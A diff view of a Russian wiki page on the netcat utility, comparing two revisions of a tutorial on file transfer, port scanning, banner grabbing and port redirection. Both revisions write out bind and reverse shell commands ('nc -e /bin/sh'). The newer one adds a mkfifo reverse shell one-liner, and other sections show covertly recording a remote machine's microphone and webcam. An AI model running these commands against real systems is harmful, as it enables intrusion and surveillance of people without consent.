Различия

Показаны различия между двумя версиями страницы.

Ссылка на это сравнение

Предыдущая версия справа и слева Предыдущая версия
Следующая версия
Предыдущая версия
networks:nc [2024/04/10 21:47] mirocownetworks:nc [2024/04/11 19:23] (текущий) mirocow
Строка 1: Строка 1:
-{{tag>networks networking network utils shell}}+{{tag>networks networking network utils shell ports scanner}}
  
 {{tag>network tools client}} {{tag>network tools client}}
Строка 5: Строка 5:
 ====== Netcat ====== ====== Netcat ======
  
-Netcat - это сетевой инструмент.+Netcat - это сетевой инструмент, её основная задача – проверка портов.
  
 <code bash> <code bash>
Строка 35: Строка 35:
  
 Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно: Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно:
 +
 +===== Прослушивание порта =====
 +
 +<code bash>
 +$ nc -nlv 8080 > /tmp/log.txt &
 +$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080
 +$ cat /tmp/log.txt
 +</code>
 +
 +===== Получать сообщения =====
 +
 +<code bash>
 +$ nc -lp 8080 > /tmp/log.txt &
 +$ nc 0.0.0.0 8080
 +$ cat /tmp/log.txt
 +</code>
  
 ===== Передавать файлы ===== ===== Передавать файлы =====
 +
 (первую команду выполняем на принимающей машине, вторую - на передающей: (первую команду выполняем на принимающей машине, вторую - на передающей:
  
 +<code bash>
   $ nc -l 31334 > filename   $ nc -l 31334 > filename
   $ nc 172.16.69.143 31334 < filename   $ nc 172.16.69.143 31334 < filename
 +</code>
  
 ===== Удаленно читать логи ===== ===== Удаленно читать логи =====
 +
 (первая - сервер, вторая - клиент): (первая - сервер, вторая - клиент):
  
 +<code bash>
   $ nc -f /var/log/messages | nc -l 31334   $ nc -f /var/log/messages | nc -l 31334
   $ nc 172.16.69.143 31334   $ nc 172.16.69.143 31334
 +</code>
  
 ===== Использовать вместо telnet ===== ===== Использовать вместо telnet =====
 +
 (первая - telnet-сервер, вторая - клиент): (первая - telnet-сервер, вторая - клиент):
  
 +<code bash>
   $ nc -l -p 31334 -e /bin/sh   $ nc -l -p 31334 -e /bin/sh
   $ nc 172.16.69.143 31334   $ nc 172.16.69.143 31334
-  +</code> 
 ===== Сканировать на открытые порты ===== ===== Сканировать на открытые порты =====
  
-  $ nc -z execbit.ru 1-1024 +<code bash> 
-  +$ nc -z execbit.ru 1-1024 
 +$ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color 
 +$ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color 
 +</code> 
 + 
 +===== Создавать удалённую оболочку ===== 
 + 
 +Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1).  
 +После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/tmp/f): 
 + 
 +<code bash> 
 +$ nc -lvnp 8080 
 +$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.132 8080 >/tmp/
 +</code> 
 ===== Осуществлять фингерпринт сервисов на основе баннеров ===== ===== Осуществлять фингерпринт сервисов на основе баннеров =====
  
 +<code bash>
   $ echo "QUIT" | nc execbit.ru 1-1024   $ echo "QUIT" | nc execbit.ru 1-1024
-  +</code> 
 ===== Организовывать обратный шелл ===== ===== Организовывать обратный шелл =====
 +
 (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту): (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):
  
 +<code bash>
   $ nc -e /bin/sh 172.16.69.143 31334   $ nc -e /bin/sh 172.16.69.143 31334
   $ nc -l -p 31334   $ nc -l -p 31334
-  +</code> 
 ===== Делать микрофонную запись с удаленной машины ===== ===== Делать микрофонную запись с удаленной машины =====
 +
 (сервер, клиент): (сервер, клиент):
  
 +<code bash>
   $ arecord -f dat -t raw | nc -l 31337   $ arecord -f dat -t raw | nc -l 31337
   $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg   $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg
-  +</code> 
 ===== Получать снимки с web-камеры удаленной машины ===== ===== Получать снимки с web-камеры удаленной машины =====
 +
 (сервер, клиент): (сервер, клиент):
  
 +<code bash>
   $ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done   $ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done
   $ nc localhost 31337 > photo.jpeg   $ nc localhost 31337 > photo.jpeg
-  +</code> 
 Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет. Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.
  
 Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP: Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:
  
 +<code bash>
   $ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \   $ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \
   172.16.69.143 31334   172.16.69.143 31334
-  +</code> 
 Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:
  
 +<code bash>
   $ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334   $ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334
 +</code>
  
 В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5. В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.
Строка 95: Строка 149:
 Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd: Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:
  
-  # echo 'redirect-2525-to-25 2525/tcp' >> /etc/services +<code bash> 
-  echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \+  $ echo 'redirect-2525-to-25 2525/tcp' >> /etc/services 
 +  echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \
   >> /etc/inetd.conf   >> /etc/inetd.conf
-  killall -HUP inetd+  killall -HUP inetd 
 +</code>
  
 Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды. Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.
Строка 104: Строка 160:
 Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик: Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик:
  
-  $ echo /etc/xinetd/redirect +cat /etc/xinetd/redirect 
-  +<code>  
   service redirect-2525-to-25   service redirect-2525-to-25
   {   {
Строка 117: Строка 173:
     user = nobody     user = nobody
   }   }
 +</code>
 +
 +===== Сетевые утилиты =====
 +
 +
 +{{topic>[network]}}